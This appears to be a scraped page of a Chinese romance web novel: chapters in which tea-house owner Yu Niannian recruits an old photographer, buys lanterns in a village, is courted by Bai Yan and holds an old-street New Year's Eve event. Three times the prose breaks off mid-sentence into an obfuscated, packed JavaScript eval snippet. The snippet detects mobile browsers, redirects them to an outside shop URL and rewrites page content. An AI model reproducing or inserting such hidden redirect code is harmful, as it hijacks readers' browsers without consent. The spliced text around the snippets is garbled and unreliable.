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白老点点头:“早年间白砚他妈还——”白老说了一半,顿住了,看了白砚一眼,见他面无表情地低头不语,又不着痕迹地接着道,“哦,早年间我常带白砚去拍照,他的技术很可以的,说起来,他对我这个老头子还是很敬重的,我这把拐杖还是他送我的呢。” “啊,说到拐杖,我上次见他拖了一根笨重的铁棒子。” 白老摇摇头:“那是他从烧坏的铁床上拆下来的铁棍子,这么多年就这么拖着走,我给他买的拐杖在家里放了这么多年了,他也不要,只说用不着......” “白爷爷,那根拐杖可以拿给我么?我明天想去老潘照相馆一趟,试试看能不能送出去。” 白老点头道:“那好啊,你脑子灵光,说不定能说动他。一会儿让白砚拿给你。” 余念念想了想,又问:“当年,事情发生的时候,老潘的儿子多大?” “差不多......五岁吧。” “哦,那跟李婶家的小葫芦差不多大呢。” ...... 聊了一个多小时,茶馆快要打烊了,余念念起身道别。 白砚拿着拐杖,将她送出门,见她在门口站定了,便问:“明天去照相馆,不害怕?” 余念念:“害怕。” 白砚:“那你还自己去?” 余念念:“谁说我要自己去了?你不陪我去?” 白砚沉默几秒,浅浅扬起嘴角:“你倒是不客气。” “我为什么要跟你客气!”余念念梗着脖子道,又小声嘀咕:“反正你只是陪我角色扮演......” 白砚凑近:“你说什么?” 她又退开一步,瞪着双大眼睛看他:“没什么!” 白砚微微皱眉,仔细看她的眼睛,问:“怎么今天阴阳怪气的?” 余念念胸膛起伏片刻,答不上来,气呼呼一把抓过拐杖,扭头就走。 她也不知道她生的哪门子气,但自从早上沈童问她那个问题后,她内心确实憋了一团浆糊,啊!这黏黏糊糊扭扭捏捏的作派,真的很不像她! “余念念你站住!”身后,白砚的声音传来。 余念念拔腿就跑,内心疯狂默念:男人是工具男人是工具男人是工具!!! 23. 合照 第二天上午十点,白砚按照余念念微信发的时间准时到达老潘照相馆门口,与她会合。 和上次一样,门是开着的,只是,一进门,就是厚重的布帘子,掀开帘子进去了,光线立刻被阻隔了大半。 余念念紧紧跟在白砚身后,小心伸出脑袋,问:“我们要不要先退出去,敲个门?” 白砚沉稳的声音回答:“不用,本来就是开门做生意的,别怕。” 说着,他顺着门口处的墙面摸了片刻,“咔哒”一声轻响,一条老式牵引绳被他拉动,室内亮起黄色的灯光。 余念念长长呼出口气,气还没吐完,室内深处,一道粗粝的声线又吓得她紧紧贴到白砚身边。 “什么人?” “潘叔,是我,小白。”白砚答道。 撕拉——撕拉——撕拉—— 厚重的钢铁摩擦着地面,一张浮肿惨白的脸浮现在照相馆通往后室的走廊深处,惨白的脸色映衬下,深色的疤痕愈加狰狞显眼。 “小白?”老潘问,“你怎么来了?” 白砚打量了他一番,叹了口气,温声道:“潘叔,以后店里记得开灯,还有,帘子没事别拉着,您该多晒晒太阳。” 他一把将覆盖了整面门窗的布帘拉开,上午的阳光从外面照进来,照相馆里立刻亮了起来。 “嘶——”老潘下意识抬起没有握拐杖的一只手,挡在眼睛前,长长地缓了一阵子,才眯着眼睛放下手臂,又拖着铁拐杖一步一顿地从走廊里走到前面来。 在光线下,老潘臃肿的身体和普通五十岁左右发福的男人并无多大不同,只是完全白了的头发和脸上更深的沟壑让他更添了一些疲态。眼睛完全适应光线后,他盯着余念念看了几眼,问:“你是上次来店里的两个小姑娘其中一个。” 见他居然还记得自己,余念念尴尬地笑了笑,点点头,道:“您好潘叔,我叫余念念,是白砚他们家店铺的租户,上次来老街上做调研时进了您的店,抱歉打扰了......” 老潘也冲她微微点了点头:“哦,租了小白家的店铺......小白家哪间店铺?” “小白家——”余念念下意识接道,又顿住,看向白砚,小白家莫非有很多店铺么? 白砚被她呆楞在原地的表情逗笑,对老潘道:“是街口的那间,现在她开了家茶馆,生意不错。” 说完,又看着余念念,神态语气像在说自家的事情。余念念脸上一热,马上干咳了两声,转了身体看向老潘,认真道:“潘叔,这次来,是我和老街居委会有重要的事情要请您帮忙,这件事只有您可以胜任,您可千万要帮我!” 说着,她微微一欠身,要不是照相馆地方小,差点就要鞠一个九十度的躬。 “请我帮忙?”老潘一脸困惑,扭头看了白砚一眼,但白砚脸上也是一脸迷茫——从昨晚在书画斋门口分开到今早在照相馆门口会合,余念念确实没有提前跟他说过自己的计划。 “我一个残废老头子,能帮你什么忙?” “老街居委会要和我的茶馆合作,在12月最后一天办老街跨年活动,我们想在当天记录下老街街坊的精彩瞬间,需要一个拍照技术过硬的照相师全程参加活动!” 老潘皱起眉头:“这有什么难的,哪里请不到一个照相师?” 他指了指白砚:“这不就有个现成的,小白的拍照技术只比我好,不比我差。” 余念念连连摆手:“不不!您不知道!老街街坊可不喜欢白砚这种冷冷清清的拍照,就喜欢您这种老照相师傅的拍照风格,喜庆一点,复古一点,大大的人物特写,热热闹闹的氛围。白爷爷说了,这么多年,还是您给他拍的全家福最合他的心意!” 老潘狐疑地看着她,又看向白砚。 白砚的余光接收到余念念眼神发射过来的信号,赶紧点点头:“是的,潘叔,爷爷很多年没拍照了,今年想让您给再拍一张。” 老潘收回视线,低头沉吟片刻,沉声道:“那......我考虑一下吧。” 余念念见他态度松动了,笑着从口袋里掏出一张卡片,递给老潘:“不光是白爷爷这些老街坊,小孩们也很期待,李婶家的小葫芦还没拍过一张自己的照片呢!” 老潘翻开卡片,露出里面歪歪扭扭的一行字: 【我的小小愿望:拥有一张自己的笑脸照片,挂在爸爸妈妈的结婚照旁边。——小葫芦】 老潘盯着那短短一行字看了良久,余念念等了片刻,见他像是沉进了某种回忆里,便说道:“那潘叔,我们先走了,12月31号,老街茶馆见!” 说着,她冲白砚使了个眼色,白砚默默推开门走了出去,她也退到门边,举了举门口放着的拐杖,冲老潘道:“这是白老送给您的拐杖,您那天拄着它来拍照吧,更轻松些。” 老潘头依旧没抬头,余念念不想再打扰他,轻轻推开门,正要出去,眼睛扫到墙面上一幅照片,愣住了。 上次来,光线昏暗外加情绪恐慌,她什么也没细看,这次,在光线照射下,她一眼就看到墙面正中间的一幅双人照,照片上,少男少女两人笑得阳光明媚。 是白砚。 和一个她从没在老街上见到过的女孩。 又看了几眼,她默不作声地关了门,退出去。 外面,白砚站着等她,见她表情不像是开心的样子,走近了,问:“怎么了?刚刚不是很顺利么?” 余念念脑子里还映着刚刚那幅照片,视线漂浮了几秒才凝到他脸上,回答慢了几拍:“没什么......白砚,跨年那天,你想拍照么?” 白砚有些不明所以:“没想过,怎么突然问这个?” 余念念移开视线,干笑了两声:“哦,随口问问嘛,你不喜欢被拍么?” 白砚想了想:“没有喜欢,也没有不喜欢,不过......”他迟疑了一会儿,看了眼余念念看向别处的脸,道,“要是和重要的人一起,也不是不可以。” 余念念的肩膀极为轻微地僵了片刻 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余念念翻了个白眼:“您二位到底有没有认真下棋!我都快打烊啦,谁是今天的棋王?” 魏大爷捶了捶脖子,又冲王大爷摆了摆手:“今天这个棋是下不完了,这样,我们今天算平手,如何?” 王大爷也有些吃不消,忙点头:“平手平手!小余,帮我们记好了,今天我俩是平手!” 余念念应着:“好!记下了!你们赶紧回家吧,桂云嫂马上就要杀到茶馆来了!” 王大爷魏大爷吓得赶紧起身,匆匆忙忙地穿上衣服收拾好东西,出了茶馆。 ...... 小优离开后,余念念一个人上了三楼天台。 这天是个工作日,三楼这时候已经没人了,她慢慢走到一张躺椅上,躺了下来,盯着头顶的星星看了一会儿,内心的烦闷并没有消散。 于是她又掏出手机,打给了沈童。 “今天怎么想起我了?”沈童的声音有些沙哑,听上去像是感冒了一样。 自从余念念开茶馆后,几乎从早忙到晚,两人煲电话粥的频率几乎降为零。 余念念斟酌着缓缓道:“我有一个朋友,她想知道,对男人来说,白月光是什么样的存在?” 电话那头沉默了片刻,问:“白砚有白月光?” 余念念放弃抵抗地低吼了一声,瞪着天上道:“我就是想知道,我是不是应该离有白月光的男人远一点?你只需要告诉我‘是’,就可以了!” 沈童干脆利落地回道:“是。” 这下,轮到余念念沉默下来。 那头,沈童的声音接着说道:“我怀疑田桓出轨了,对象很可能就是他没追到的那个初恋‘白月光’。所以,余念念,脑子放清楚一点,如果确定他心里有白月光,就远离他,和他保持最纯粹的金钱关系,每个月交完房租扭头就走,不要有任何依赖和留恋。” 24. 哑火 第二天一早,沈童背着个大大的双肩包到了老街茶馆门口,见到等在那里的拖着行李箱的余念念。 余念念看到她微微红肿的眼睛,没有多问什么,将茶馆大门和自己家房门的钥匙递了过去,笑着道:“帮我照顾好象棋大爷们。” 沈童勾了勾嘴角,冲她露出一个“包在我身上”的表情。 前一天晚上,就在和余念念通完电话后,沈童正式向田桓提出分手,又请了一周的假用来调整心情,接着,连夜收拾好东西,今天一早便来投奔余念念。正好,有她帮忙照顾茶馆,余念念可以安心出去准备一个多礼拜之后的老街跨年活动。 半小时后,沈童已经将所有小优手上的活抢了过来,还不满足地将已经很干净的抹布又仔细搓洗了一通,上了发条似的挨个桌子擦拭。 “小余?”门口传来声呼喊。 沈童从第三张桌子上抬起脑袋,看见白砚扶着白老进了门。 “白爷爷!您来喝茶么?我去给您倒!”沈童迎上去。 “小沈来啦!”白老和她早就相熟,冲她摆摆手,“别忙别忙,我就是路过进来看看,小余呢?” “念念她出去准备跨年那天要用的东西了。”沈童余光瞥见白砚也在不着痕迹地张望余念念的影子。 “哦,这么早就出门啦,去的哪里?”白老问。 “哎,她没告诉我,白爷爷,她最近压力大,我都不敢问太多,问多了她跟我急眼!” 白老担忧的看了眼白砚:“小余压力这么大,她有没有跟你讲过?” 白砚微微蹙着眉,摇摇头:“她最近是不太对劲,不过,没跟我提过。” 说着,他又看向沈童,问道:“她是一个人去的么?什么时候回来?” 沈童点点头:“是一个人去的,什么时候回来就不知道了。” 余念念跟她说的是,去洪家村采购一批灯笼,晚上就回来,但她不想告诉白砚。要是他真想知道,自然会去找余念念,要是他不主动去找余念念,那说明只是随口一问,更是没有必要告诉他了。 —————— 洪家村,洪宝来灯笼铺。 余念念翻遍了所有灯笼的款式,选定了一方一圆两种样式的灯笼,方的挂在商户门口,寓意四方来财,圆的挂在住户门口,寓意团团圆圆。 “宝来叔,这批灯笼统统帮我换成小灯泡吧,城市里不方便点明火,灯泡要明黄色的,远远看上去像小火苗的那种。”余念念冲坐在桌后拿笔记着的宝来大叔道。 “还有,给我多备一些灯笼下面挂的小牌牌,肯定很多街坊都想自己手写一些吉祥话上去。” “还有还有!除了这挂着的一批,还要加二十个可以手提的小圆灯笼,小孩子们肯定喜欢提着灯笼满街跑!” 宝来叔一一记下,边记边笑道:“小余你放心!只要是跟灯笼有关的,我宝来家有求必应!” 四方桌另一侧,洪家村村长喝了口茶,清了清嗓子,插道:“在灯笼边边上找个角落,加行小字,打打咱洪家村的广告!” 余念念笑着默许了,村长和宝来叔给的价格比市场价低五成,且都是和市面上流水线灯笼不同的洪宝来传统工艺灯笼,加些无伤大雅的广告,本就是互利互惠的一种策略。 “对了小余,到时候,别忘了教你们老街街坊互相在灯笼上写吉祥话的仪式!我之前教过你的!”村长道。 “什么啊!宝来叔说根本没有那样的仪式,那都是你编出来骗我和白砚的!”话说出来,余念念想到上次和白砚在灯笼铺里在对方手心写字的场景,眼睛里微不可见地暗淡了几分。 “嗨!你别管是不是真的,让大家开心一下子,有什么不好的!”村长觑了她一眼,又问:“话说回来,这次小白怎么没跟你一起来?” 余念念有些刻意地扯起嘴角,手上盘弄着一根细长的竹签:“我和他本来就只是恰好在一个项目里的临时工作关系,项目结束了,就可以散了呀。我这次是来谈自己的事情的,他来干嘛。” 村长凑近,问:“闹别扭了?” “村长!您能不能别这么八卦!”余念念大声道。 村长撇了撇嘴,斜眼看了她一眼:“现在让我别这么八卦,上次在西流镇,也不知道是谁拉着我问人家赵主任和文老师的陈年八卦!我要是不八卦,能和你凑到一起聊那么久么!” 听他提到赵主任和文老师,余念念来了精神,问:“赵主任和文老师怎么样啦?有没有冰释前嫌?上次茶馆开张,赵主任让文老师来给我送书画,我就觉得他们俩还余情未了!” “什么余情未了,你以为跟你们这些年轻人一样,这么容易就情情爱爱啊!像他们这个年纪的人,都活通透了,没有了不得的原因,就这么日复一日过下去了,只有你们这些小孩子,才非要追求一个结果。” 余念念听了,叹了口气,又蔫蔫地垮下了肩膀。 村长看了她一眼,又一脸正经地说:“不过啊,我觉得你确实应该去找赵主任聊聊,就算不聊八卦,你也可以跟她取取经,怎么做好一个女强人。” 村长话糙理不糙,“女强人”这个词虽然标签属性过浓,但赵主任在余念念心里确实像一棵稳固的大树,既有强大的根系为自己汲取养分,又能用枝繁叶茂给别人提供依靠。 “好,”余念念点点头,“今晚,我在村里住一晚,明天直接去西流镇找赵主任。” —————— 洪家村的夜晚还是那样安静。 晚上九点,城市里还灯火通明的时间,整个村落却宛如一副已经进入深度睡眠的躯体,只有风吹过农田的沙沙声像呼吸一样均匀而静谧。 老地方,回廊里,余念念盘腿坐着,静静盯着银杏树发呆。 手机在黑暗里亮起来,她举起来看,有些意外地坐直了身体。 白砚问:【你在哪里?什么时候回来?】 她呼吸突然有些紊乱,点开了输入框,打了几个字:【在洪家村,明天回。】 还没发送,想了想,又删掉了,重新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114873|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打字:【你管我在哪干嘛?】 打完立马摇着头又删掉,瞪着空空如也的输入框皱眉沉思了半天。 微信显示又有新消息进来,她退出和白砚的聊天窗口,看到沈童发来的消息:【念念,白砚他急了!他刚刚来了趟茶馆,见你还没回来,脸色很不好看,你要顶住!】 顶住?顶住什么?我又没背着他干坏事!余念念心想,我也没义务向他报备我在哪去哪什么时候回家吧! 越想越气,她给沈童回了几个字:【他凭什么管我!】 刚发出去,手机铃声响起来,吓得余念念浑身一抖,差点把手机扔出去。 刚刚收到白砚信息时还只是呼吸紊乱,现在,看到屏幕上大大的“天仙”来电,她心跳骤然间就乱了。她看向四周,生怕手机铃声吵醒别人,但完全多虑,她离最近一家村民的房子都还远着呢。 手机铃声孜孜不倦地响着,余念念深吸一口气,接了起来,默不作声听着。 “喂?”对面,白砚的声音在电话里听起来有些陌生。 从认识到现在,他们很少互相发消息,零星几条消息也只是有事说事,说完即止,打电话更是从没有过了。 余念念保持着沉默,白砚等了会儿,低声问:“你在哪里?” “洪家村。”余念念硬梆梆回了句。 “去那里干嘛?” “买灯笼。” “刚刚......为什么编辑半天又不回消息?” 余念念心虚地咽了口口水,他居然盯着聊天框! “我......我回了一半接到沈童电话了......”她艰难地编了个理由。 “嗯,那什么时候回来?” “不知道,可能是明天吧,”余念念乖乖回答了半句,突然反应过来,语气又马上变得硬邦邦,“你管我什么时候回去干嘛?” “......爷爷担心你。” 余念念火气更盛:“原来是白爷爷担心我!回去我就给白爷爷买个手机,以后,我单独跟白爷爷联系,就不劳烦你在中间中转了!” 白砚再迟钝,也反应过来余念念的火气是冲着自己的了,他沉默片刻,低声道:“我也担心你。” 余念念彻底哑火。 作为一个恋爱小白,她可以硬碰硬,可以张牙舞爪,却没见识过直球的温柔。 这让她怎么招架? 她当机立断,挂了电话,独自一人对着黑夜中的银杏树风中凌乱。 ...... 另一头,茶馆门口,白砚听了半天的“嘟嘟”声,又将屏幕举到眼前,才确定自己被挂了电话。 他转身推开茶馆的门,走进去。柜台后面,沈童当天第三次见到他,像见了鬼一样嚎叫出来:“你怎么又来了!” 白砚的脸上少见地显出心慌意乱,他俯身看着沈童,连问三个问题: “余念念到底怎么了?” “她在生什么气?” “她到底什么时候回来?” 25. 红温 第二天上午,在秀峰塔下见到赵主任时,她正领着一群人参观塔身。 千年古塔之侧,赵主任一脸温和的笑意,将塔的由来、典故、现状一一说来,身后跟着的人一脸认真地聆听,时不时在笔记本上记下什么。 余念念不远不近地跟着,看着,听着,眼神不由自主追随着赵主任——如果她没有见识过赵主任在合作场合的桌面上一针见血地直指对方的要害,或许会误以为她是个永远带着温和面具的讲解员,毕竟,她的身型看上去十分娇小,笑容也没有攻击性。 余念念突然有点好奇,自己在别人眼里是什么样子。 正发呆想着,赵主任已经结束讲解,冲她走过来,走到面前,见她一脸恍惚,伸手在她眼前晃了晃:“想什么呢这么出神?” “啊,”余念念张望四周,刚刚跟着赵主任的一群人已经散开了,她有些不好意思地笑了笑,又故意撒娇:“您工作时候的样子太迷人了,我看呆了!” 赵主任露出宠溺的笑容——她没有结婚生子,但第一次见余念念就生出类似长姐对幼妹的亲昵感,要不然也不会在工作场合破例对她多加维护了。 电话铃声突然响起来,赵主任从口袋里掏出手机,看了眼屏幕,微微扬了扬眉头,接起来,说了两句,冲余念念点头示意了下,走开了几步,声音压低了几分。只说了几句,便挂了电话,走回来,看着余念念时脸上又恢复笑意。 “我突然来找您,是不是打扰您工作啦?”余念念有些不安。 “没有。是个很久没联系的合作伙伴,找我有点小忙,举手之劳而已。” 赵主任仔细看了看余念念,温和道:“突然来找我,肯定是遇到困难了吧?” 余念念张开嘴,一时话语堵在嗓子里,不知道该从何说起。 赵主任揽住她的肩膀,轻轻拍了拍:“不着急,我们去江边走走,边走边聊。” —————— 顺着江边默默走了一段,赵主任没有催促余念念说点什么,也没有说些不痛不痒的话来开启话题,只是默默陪她走着。 “赵主任,在您眼里,我是个什么样的人呢?”余念念还是问出了刚刚这个盘桓在她脑子里的问题。 赵主任想了想,说道:“一个优秀而单纯的人。” 余念念有些失落:“我果然还是太小白了么......” 赵主任笑了:“单纯不等于小白。每个人看到别人身上的闪光点肯定都是不同的,我最欣赏优秀却又能保持单纯的人,所以,在我眼里,你就是这样一个美好的人。” 余念念原本朝下的嘴角被夸得微微扬起。 赵主任又接着说道:“在村长眼里,肯定你又是另一个样子,我猜,可能是一个勇敢又直爽的小姑娘。” 余念念“噗”地笑出来:“村长眼里可能我最大的闪光点可能是能跟他一起八卦吧!” 赵主任话音一转:“那么,在白砚眼里呢,你——” 余念念脚步僵住,眼里闪过一丝慌乱:“您,您提他干什么!” 赵主任无辜地耸了耸肩:“我在帮你分析呀,咱们两个都认识的人就这么几个,说着说着不就说到了么。” 余念念赶紧摆手:“我可不想知道他眼里的我是什么样子!” 赵主任看着她的眼睛,笑道:“看来村长说的没错,你这是感情上遇到问题了。” “村长?”余念念瞪大眼睛,“他跟您说什么啦?” “他昨晚给我打电话,说你今天要来找我,让我指导指导你怎么尽快走出感情漩涡。” 余念念翻了个大大的白眼:“村长这个人,又满嘴跑火车!昨天明明让我来找您请教怎么成为女强人!” “感情方面,我的经验并不多,但是,在我看来,所有的困难在解决方案上都是类似的,你得先正视它,不能逃避。” 由不得余念念不叹服,赵主任简直过于一针见血——不知道从什么时候开始,她在面对和白砚相关的问题时,总是下意识选择逃避。 察觉自己对他心痒痒时,压抑,逃避。 发现白砚面对自己有很多异常行为时,强行为他找个理由,逃避。 对他可能有“白月光”这件事介意到快憋死自己时,绕开他,问别人,逃避。 “可是......我是个小白啊......”余念念苦恼发问,“如果不逃避,直接面对的话,不就暴露了我是个小白这件事么......” 赵主任被她逗笑:“你只是恋爱小白,又不是交友小白。你开店之前还知道做调研,恋爱之前就不知道做考察么?这对你来说,不就是做项目方案之前的可行性验证么!” “啊!”听到这套熟悉的方法论,余念念豁然开朗,“您要是这么说,我可就不怂了。” “是吧?你得先正面研究他,不能自乱阵脚。别人口里的经验只能用作参考,不能全盘接受,到底能不能通过可行性验证,得你自己用心去分析,去感受。” 余念念点头默念:“不逃避不逃避不逃避。”默念完了,又好奇地问:“那,文老师还没通过您的可行性验证么?” 赵主任脸上笑意一僵:“文老师?” 接着,她意识到什么,双目圆睁:“是不是村长跟你说什么了?好他个老不正经的,亏我天天想着怎么给他的洪家村招商引流,他倒好,天天宣传我的陈年旧事!看我下次见到他不灌他半斤白酒!” 啊咧? 余念念双手紧紧捂住嘴巴,吓得呆立当场大气不敢出——她刚刚,就这么,把村长,给卖啦? 愣了片刻,她突然放下手,疯狂点头:“对对!就是村长告诉我的,嗨,上次西流镇文旅展,他拉着我说了半天,我说我不听,他还不愿意,非要逼着我听,您说他这个人,怎么这么八卦!” 反正村长卖她也不是一回两回了,被她卖一次,也十分说得过去吧,这么想着,她彻底没了包袱,挽着赵主任的胳膊,两人一起批判村长。 ...... “余念念。” 身后,一个熟悉的声音传来。 余念念定住,缓缓转身,看到白砚站在那里,呼吸微微气喘,眼神定定地看着自己。 余念念咽了口口水,紧张地攥紧拳头,心里默念“不要逃避不要逃避”,努力与他保持着对视。 “小白,你来啦。”身旁,赵主任跟白砚打招呼。 余念念惊讶地扭头,看到赵主任脸上憋不住的笑意。 “刚刚不是跟你说,有个很久没联系的合作伙伴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“后来,我决定开店,也花了很多精力做调研,找李婶聊,找早点铺的老孙聊,误入老潘的照相馆,最后终于找到了河边下棋的大爷,才找到开店的方向。” “我的意思是,做项目和开店都这么复杂,认识一个人,肯定更复杂了。以前,在你眼里,我是不靠谱的女酒鬼,在我眼里,你是不接地气的男天仙,现在,我们要成为......朋友,肯定需要更多的了解,对么?” 白砚点点头。 余念念松了口气:“好,那我们慢慢来,不着急,慢慢成为彼此的......好朋友?” 白砚深深看了她一眼,终于应道:“好。” 余念念长长舒了口气。 “但我们做摄影师的,也有自己的工作方式。”白砚接着说道。 余念念:“什么?” “我们不喜欢拍照对象什么事都憋在心里,主观臆测摄影师的喜好,比如......‘白月光’之类莫名其妙的东西。” 余念念心跳骤停,盯着江面,不敢去看白砚的眼睛:“你......你不是不拍人物的么......哪来的拍照对象?” 白砚走近一步:“又是主观臆测。余念念,你不是要做可行性验证么?我要不要拍人物,拍什么人物,不要去看别人怎么说,直接来找我本人调研。” 余念念彻底红温。如果此时有红外摄像对着她,她全身的温度会让仪器直接爆炸。如果她现在跳到江里,估计会让江水整个沸腾。 她退了半步——这已经是在心里狂念“不能逃避”后的成果——竭力稳住声线: “慢慢来......慢慢来......” 26. 跨年 这一年的最后一天很快就到了。 早上八点,余念念精神抖擞地站在茶馆门口,向老街深处张望着,一时间有些恍惚。 她还清楚地记得,去年的这一天,她被贾福以“长得漂亮、团队的门面”为由,安排到公司举办年会的酒店门口,充当迎宾小姐。寒风里,她穿着单薄的旗袍,冲着西装革履走进来的公司高层点头致意,口里喊着“领导”——而那些领导,大多连她叫什么名字都不知道,也不关心,好一些的还她个制式化的微笑,更多的连表情都没有便走进去。 少数认识她的同事,也只是叫一声“小余”,便匆匆走过,如项卓这样平时多少和她有竞争关系的,远远看到她便开始窃窃私语,带着暧昧不明的微笑慢吞吞地走过,享受她礼仪小姐般的微笑服务。 “余老板!”“早呀余老板!” 几声招呼声拉回她的思绪,平日里泡在茶馆下棋的几位大爷兴高采烈地从老街上走来,每个都精心打扮过了——魏大爷居然还在大衣里面打了个酒红色领带,配上他圆润的身形,显得格外喜庆。 余念念迎上去几步,笑着道:“你们到的正好,再晚就来不及啦!” 说着,她回过头冲小优扬了扬脑袋,小优便捧着一叠红色飘带走了出来,余念念拿起最上面一条,斜挎在了魏大爷身上,又仔细帮他正了正,让“老街棋王”四个大字完整露出来。 其他几个大爷直直望着魏大爷,眼里冒出羡慕的光芒。 余念念被他们的眼神逗笑,边帮他们带上其他的飘带,边安慰道:“王大爷别急,明年再战!肖大爷,您今年可是冲击棋王的三号种子选手,我看好您哦!刘大爷,今年这个‘棋艺暴增’称号,非您莫属!” 身后,小优边憋着笑,边应和:“就是就是!只要茶馆在,各位大爷的象棋光芒就不会被埋没滴~” 几位大爷被捧得服服帖帖,心甘情愿在茶馆门口和大堂里充当起“吉祥物”的角色,边喝着茶,边准备着迎接即将到来的老街街坊。 “余老板,灯笼到喽!” “余老板,好热闹啊!” 几乎一前一后,两声呼喊声在茶馆门口响起。 一边,村长和宝来叔进了茶馆的门,身后跟着几个健壮的中年男女,每个人都抬了一只大纸箱。 另一边,常主任领着居委会的众人也站在了茶馆门外,朝着已经欢声一片的大堂里张望。 “村长,宝来叔,常主任!”余念念一一打了招呼,指着茶馆落地窗边已经摆好的一长条桌椅道,“正好大家都来了,灯笼也到了,我们在这儿张罗起来吧!” 常主任一脸笑意地点点头,回头冲居委会的几人摆摆手。村长也和宝来叔交代道:“宝来,亮亮咱洪家村传统工艺!” 一堆一堆的灯笼从纸箱里被拿出来,分门别类放好,有灯笼主体,也有木牌笔墨,等着一会儿老街上的商户和住户自己写上吉祥话。 余念念将村长和常主任迎进了茶馆,捧上几杯热茶,围着茶馆中间的桌子坐了,互相寒暄起来。 这时,跟着村长来的另外几个健壮男女抬着两只还没拆开的箱子,进了茶馆的厨房,接管了余念念的灶台。 常主任张望了几眼,好奇地冲余念念问道:“小余,这是你请来的厨师?” 不待余念念回答,村长抢先说道:“这是我洪家村百家宴厨艺最好的师傅!冲着我和余老板的交情,她的场子我肯定要撑的!”说着,他又冲厨房的方向大声喊道:“今天,就让老街街坊尝尝我们地道的洪家村美食!” “好嘞!”“包我们身上!”厨房里传来几道夹着笑声的回应。 常主任来了兴致,冲村长道:“我最喜欢传统乡村的风景和民俗,没想到,余老板还有这样的资源,如果有机会,我也想去洪家村见识见识。” “好啊好啊!”聊到这个,村长满面红光,从怀里掏出手机,展示相册里的照片,“我们洪家村既有美景,又有传统工艺,百家宴也是饱受好评!以前,村民为了赚钱不愿意留在村里,现在,家里什么都好,他们都不愿意离开家了!” 余念念带着笑意默默从桌上退下。她本来就有意借这个机会介绍村长和常主任认识——她之前就有预感,这两位之间会擦出火花——但没想到,压根不需要她起头,两人就这么顺滑地接上了头,相谈甚欢。村长这人她是知道的,只要给他一束小小的灯光,他能自己创造一个大大的舞台,接下来就不用她出场了。 “小余!我们来啦!” 又是一声招呼声,听了一早上的余老板,这声“小余”倒显得像家人般的亲切。 李婶牵着小葫芦进了门,后面,白砚扶着白老也进来了。 小葫芦一进门便被灯笼吸引了,蹦跳着凑了过去,李婶自觉自愿地问小优有什么可以帮忙的,小优先给她递了杯茶水,让她休息片刻。 白老和白砚与大堂内众人打了招呼,便往二楼走——按照之前定好的方案,他们今天不开颜喜书画斋,而是在茶馆二楼摆开笔墨纸砚,白老写一些对联或者福字,送给喜欢的街坊邻居,若有街坊想自己自己尝试写对联,白老就在旁指导一二。 “要是白爷爷累了,就歇着,让他们自己写着玩儿,反正是图个乐。”送他们在二楼坐定后,余念念对白砚说。 “余老板放心,我的字虽然比不上爷爷,但也可以应付。”白砚盯着余念念的眼睛,隔了几秒,缓缓移开视线,边收拾着桌上的纸笔边淡淡道:“余老板的调研速度实在是有点慢,我又忍不住自报家门了。” 余念念有些心虚地低头——从西流镇回来后,她一头扎进跨年活动的筹备当中,几乎没时间跟白砚见面,仅有的两次见面也是白砚主动来茶馆问她有什么需要帮忙的,她也毫不客气地丢出脏活累活,被白砚照单全收。 但是——她偷偷抬起眼睛,瞟着白砚清清冷冷的表情——这语气里的茶味是怎么回事?虽然她开的是茶馆,但她可没本事应对一枚绿茶天仙。 这时,白砚抬起头,对上余念念偷看他的小眼神,见她吓得浑身一抖,转身一溜烟跑下了楼,忍不住嘴角上扬,微微摇摇头,又低头认真研墨。 —————— 从半上午开始,越来越多的老街街坊聚集过来,一点点填满了这栋三层小楼。 比如老孙,他早上照例要开早餐铺,等忙完了匆匆赶来,已经临近中午。一进茶馆大门,他便被门口落地窗下一桌的大红灯笼吸引了目光,听说是免费领,还可以自己题字,他来了劲头,撸起袖子坐到桌边,憋了半天,憋出几个质朴的大字,一个“老孙”,一个“早点”,一边一个挂在灯笼下面。 将写好的灯笼寄存在门口,小优迎上来,给他端了杯热茶,他边喝茶边围观几个身挂彩带的“吉祥物”,哦不,几个象棋大爷在心痒难耐之下摆起的棋局,然后,便被从厨房传出来的流水席吸引了全部注意力。 不同于崇安本地菜的甜腻,洪家村百家宴当家师傅炒出来的菜色带着乡野气息,色泽鲜艳,香气扑鼻,光是闻着就让人想先盛几碗大米饭。 很快,一楼的桌上摆满了菜肴,所有到场的老街住户都捧了碗筷一桌一桌地吃过去,连常主任也毫无架子地边走边吃。 吃得心满意足,放了碗筷,便上了二楼。 二楼已经坐满了人,一些半大的孩子坐在桌前,跟着颜喜书画斋的白老后面,像模像样地学写对联,边写边互相攀比着,看谁的字更像白老的。 白砚递了支毛笔过来,让老孙也试试,老孙连忙摆摆手——刚刚在楼下写灯笼下的四个字都憋了半晌,这会儿就不在一群小家伙面前露怯了。 白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149809|148187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砚点点头,又回头拿出副写好的对联和福字递给他,字迹遒劲有力,一看就是颜喜书画斋的水平,他便开开心心地收下了。 再往上走,从楼梯跨出去,到了三楼天台,仿佛从烟火十足的老街区穿越进了年轻人的聚集地。 